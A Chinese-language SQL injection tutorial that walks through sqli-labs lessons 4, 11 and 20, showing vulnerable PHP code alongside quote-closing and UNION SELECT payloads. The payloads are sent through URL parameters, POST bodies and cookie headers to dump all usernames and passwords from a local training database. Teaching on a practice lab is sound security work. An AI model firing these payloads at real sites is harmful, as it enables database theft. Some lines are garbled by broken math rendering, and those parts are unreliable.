03_SQL注入_数据类型&提交注入
1.闭合符号型
网页开发中,常见的数据交互类型有数字型和字符串型,此外JSON作为一种以键值对进行数据交互的方式也大量出现在开发者的视野当中。数据类型不同的情况下,手工注入时需要根据不同的数据类型闭合符号,来达到判断注入的目的。考虑如下两段PHP代码
代码1:
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
这段代码中,直接将GET到的参数$id与SQL语句进行拼接,如果交互这样写,那么数据库注入判断的思路就和先前的思路一致,直接拼接即可。
代码2:
$id=$_GET['id'];
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
这段代码的第二行
i
d
=
′
"
′
.
id = '"'.
id=′"′.id.‘"’;对GET到的参数拼接了双引号,经过这样的操作,假设输入id=1 and 1=2数据库查询语句就会变成SELECT * FROM users WHERE id=“id=1 and 1=2” LIMIT 0,1,这样一来查询时就会提示字段不存在,并不能达到我们的预期操作(即异常的回显),为了使得操作成功,注入语句可以这样写:
id=1" and 1=2#。这样一来查询语句就会变成SELECT * FROM users WHERE id=“id=1“ and 1=2构成了人为的非逻辑(注意:#后都被注释掉了,有时采用–+进行注释,具体看情况尝试)
对于SQL语句中可能对注入语句产生干扰的符号有’," , % , ) , }等,对于这种情况往往手工注入的思路和上述一致,核心在于闭合符号。【同样,自动化工具中原理也是一致,学习手工注入后往往可以根据实际的业务情况,自写脚本进行半自动化操作】
2.提交注入
2.1 HTTP协议request报文复习
超文本传输协议HTTP定义了浏览器怎样向万维网服务器请求万维网文档,以及服务器如何将文档传输给浏览器。其工作在应用层,是万维网能够可靠交换文件的重要基础,由于其要求可靠传输,因此基于TCP协议。
由于服务器会根据用户的request请求进行响应,因此我们可以判断,从红方渗透工程师角度,可以在request数据包上做文章,实现很多目的(浏览器信息伪造、SQL注入尝试等)
请求报文(request)由四部分组成:请求报文=请求行+请求头+请求空行+请求正文
请求行部分可能存在的注入点在于URL部分,请求头存在的注入点在于”键值对“参数的修改。
2.2 潜在注入点
#请求行
【1】GET
GET 方法向指定的资源发出显示请求。GET 方法能够向服务端发送数据,是直接加在 URL 中发送的,**用 ? 分割URL和数据,用 & 连接多个数据。**例如:http://cq.com/index.html?id=1
【2】POST
GET 和 POST 是我们使用最频繁的两种请求方法,都是向服务器发出指定资源的请求。但是与 GET 方法不同,POST 方法一般拿来新建或修改服务器资源,所以数据与 POST 方法往往是不可分割的,POST 方法的数据会被包含在请求体中发送至服务端。
PHP代码中常用:$_GET[ ],和 _ P O S T [ ] 方 法 来 获 取 相 应 的 值 进 行 和 s q l 语 句 的 拼 接 , 此 外 还 有 \_POST[ ]方法来获取相应的值进行和sql语句的拼接,此外还有 _POST[]方法来获取相应的值进行和sql语句的拼接,此外还有_REQUEST[ ]方法,如果采用这种方法接收请求表示所有方法都接收。上述方法在其他开发语言中也存在类似函数。
#请求头
请求体中也存在类似的注入点,其思路是修改头部字段对应的值,完成与SQL语句的拼接
例如:$_COOKIE[ ]方法获取cookie值作为参数
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/Less-20.jpg" />';
echo "<br><br><b>";
echo '<br><font color= "red" font size="4">';
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
echo "</font><br>";
echo '<font color= "cyan" font size="4">';
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];
echo "</font><br>";
echo '<font color= "#FFFF00" font size = 4 >';
echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
echo '<font color= "orange" font size = 5 >';
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
代码中 s q l = " S E L E C T ∗ F R O M u s e r s W H E R E u s e r n a m e = ′ sql="SELECT * FROM users WHERE username=' sql="SELECT∗FROMusersWHEREusername=′cookee’ LIMIT 0,1";与$_COOKIE[‘uname’]方法获取的值进行拼接,因此可以手工尝试修改cookie中的参数
#$_SERVER[ ]方法
PHP编写的程序可以通过这些方式来读取客户的信息,由此又能够通过网页中的相关提示信息进行注入
$_SERVER['HTTP_ACCEPT_LANGUAGE']//浏览器语言
$_SERVER['REMOTE_ADDR'] //当前用户 IP 。
$_SERVER['REMOTE_HOST'] //当前用户主机名
$_SERVER['REQUEST_URI'] //URL
...
例如读取了浏览器信息,就可以对user-agent字段进行修改,尝试注入
3.闭合符号型靶场实战
靶场: sqli-labs: less4
工具:浏览器手工注入
目标:查询到所有用户的用户名和密码🍉
3.1 渗透思路
step 1.注入判断
http://127.0.0.1/sqli-labs-master/Less-4/?id=1
正常回显
http://127.0.0.1/sqli-labs-master/Less-4/?id=1 and 1=2
正常回显
自此判断,代码中可能存在需要我们绕过的符号,需要在注入语句中对其进行人为的闭合操作
尝试单引号:http://127.0.0.1/sqli-labs-master/Less-4/?id=1' and 1=2--+
回显正常
尝试双引号:http://127.0.0.1/sqli-labs-master/Less-4/?id=1" and 1=2--+
报错,说明可能存在双引号拼接的可能性
尝试双引号拼接小括号:http://127.0.0.1/sqli-labs-master/Less-4/?id=1") and 1=2--+
出现异常回显
step 2. 猜测注入
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 4--+
一直尝试到order by 4出现报错
判断联合查询需要用非逻辑拼接 union select 1,2,3
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,2,3--+
自此判断只需要不断替换2,3字段进行信息收集即可
step 3.信息收集
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,user(),database()--+
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,version(),database()--+
得到如下信息
数据库 | mysql |
---|---|
版本 | 5.0以上 |
权限 | root |
网站对应数据库名 | security |
step 4. 数据注入
查询表:
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1%22)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema%20=%27security%27--+
查询列:
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1%22)%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_schema=%27security%27--+
查询指定信息:
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1%22)%20union%20select%201,group_concat(username),group_concat(password)%20from%20users%20--+
自此查询到所有的用户名和密码,回家吃西瓜🍉
3.2 源代码解析
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
第一行代码中,用双引号和id进行拼接,而数据库代码中又对其进行了括号拼接,
在拼接 ?id=1" and 1=2–+时,SELECT * FROM users WHERE id=(“1” and 1=2 出现语法错误,因此报错
在拼接 ?id=1") and 1=2–+时,SELECT * FROM users WHERE id=(“1”) and 1=2 构成非逻辑,因此回显异常
4.提交注入:post注入
靶场:sqli-labs:less11
工具:burpsuite
目标:获取密码登录系统🍉
4.1 渗透思路
step 1. 注入点尝试
启动靶场:显然存在登录操作的情况下,我们有可能对数据库进行注入
在登录框中尝试任意用户和口令(假设弱口令尝试都失败)
proxy模块抓取数据包
repeater模块进行修改和重放
因为是post方法所以尝试在请求正文中进行注入
修改请求正文:uname=xigua'&passwd=xigua&submit=Submit
出现报错
修改请求正文:uname=xigua'#&passwd=xigua&submit=Submit
回显正常,说明存在SQL注入的可能性
step 2.猜测注入
uname=xigua' order by 3#&passwd=xigua&submit=Submit
修改到order by 3出现报错
判断需要拼接的语句为union select 1,2
uname=xigua' union select 1,2#&passwd=xigua&submit=Submit
判断需要替换字段union中的1,2字段反复回显即可(自此靶场系统判定我们已经了解思路,所以判断过关,但是为了模拟练习,我们把接下来的步骤进行完)
**step 3. 信息收集 **
uname=xigua' union select user(),database()#&passwd=xigua&submit=Submit
uname=xigua' union select version(),database()#&passwd=xigua&submit=Submit
得到如下信息
数据库系统 | mysql |
---|---|
版本 | 5.0以上 |
权限 | root |
数据库名 | security |
step 4. 数据注入
查询表:
uname=xigua' union select group_concat(table_name),2 from information_schema.tables where table_schema='security'#&passwd=xigua&submit=Submit
查询列:
uname=xigua' union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema='security'#&passwd=xigua&submit=Submit
查询具体信息:
uname=xigua' union select group_concat(username),group_concat(password) from users #&passwd=xigua&submit=Submit
提交:
回家吃西瓜🍉
4.2 源代码解析
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
观察源代码相关部分,SQL语句中存在单引号需要进行闭合
注入语句为uname=xigua'&passwd=xigua&submit=Submit
时
SELECT username, password FROM users WHERE username=‘xigua’’ and password=‘xigua’ LIMIT 0,1"
语法出现错误,所以报错。
注入语句为uname=xigua'#&passwd=xigua&submit=Submit
时,由于#注释掉了单引号,所以显示正常
SELECT username, password FROM users WHERE username=‘xigua’ and password=‘xigua’ LIMIT 0,1"
5.提交注入:cookie注入
靶场:sqli-labs:less20
工具:burpsuite
目的:获取用户名和密码登录系统
5.1白盒分析&渗透思路
本靶场进行白盒测试
function check_input($value)
{
if(!empty($value))
{
$value = substr($value,0,20); // truncation (see comments)
}
if (get_magic_quotes_gpc()) // Stripslashes if magic quotes enabled
{
$value = stripslashes($value);
}
if (!ctype_digit($value)) // Quote if not a number
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
如上代码限制了输入,也就是说从post方法进行注入尝试会有问题
if(!isset($_POST['submit']))
{
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/Less-20.jpg" />';
echo "<br><br><b>";
echo '<br><font color= "red" font size="4">';
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
echo "</font><br>";
echo '<font color= "cyan" font size="4">';
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];
echo "</font><br>";
echo '<font color= "#FFFF00" font size = 4 >';
echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
echo '<font color= "orange" font size = 5 >';
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "pink" font size="5">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo '<font color= "grey" font size="5">';
echo 'Your Password:' .$row['password'];
echo "</font></b>";
echo "<br>";
echo 'Your ID:' .$row['id'];
}
else
{
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/slap1.jpg" />';
echo "<br><br><b>";
//echo '<img src="../images/Less-20.jpg" />';
}
echo '<center>';
echo '<form action="" method="post">';
echo '<input type="submit" name="submit" value="Delete Your Cookie!" />';
echo '</form>';
echo '</center>';
}
上述代码中,如果post方法中submit为空,那么就将cookie中的uname字段和SQL语句进行拼接,有了如上思路,我们再去观察SQL语句中的拼接语句
s
q
l
=
"
S
E
L
E
C
T
∗
F
R
O
M
u
s
e
r
s
W
H
E
R
E
u
s
e
r
n
a
m
e
=
′
sql="SELECT * FROM users WHERE username='
sql="SELECT∗FROMusersWHEREusername=′cookee’ LIMIT 0,1";
可以了解到需要对单引号进行闭合。由此我们抓取一个正常的数据包,删除请求正文中submit字段,在cookie中进行语句拼接,放进Repeater中进行重放,修改后如下:
POST /sqli-labs-master/Less-20/ HTTP/1.1
Host: 192.168.124.21
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
Origin: http://192.168.124.21
Connection: close
Referer: http://192.168.124.21/sqli-labs-master/Less-20/
Upgrade-Insecure-Requests: 1
Cookie:uname=xigua'#
uname=&passwd=
出现页面回显
进一步修改
Cookie:uname=1'order by 4#
出现报错
进一步修改
Cookie:uname='union select 1,2,3#
出现回显
接下来进行信息收集
Cookie:uname='union select 1,version(),user()#
Cookie:uname='union select 1,databaseS(),user()#
查询表
Cookie:uname='union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
查询列
Cookie:uname='union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
查询具体信息
Cookie:uname='union select 1,group_concat(username),group_concat(password) from users#
拿到相关信息尝试登录🍉
6. JSON类型相关思路
{
"usermanager":[
{
"name": "admin",
"psw": "passadmin"
},
{
"name": "root",
"psw": "root"
}
],
"frite":[
{
"name": "apple",
"price": "5"
},
{
"name": "banana",
"price": "3"
}
]
}
考虑上述JSON数据形式,所有的数据以”键值对“的形式存在,因此一般思路为修改键值对中的值进行注入尝试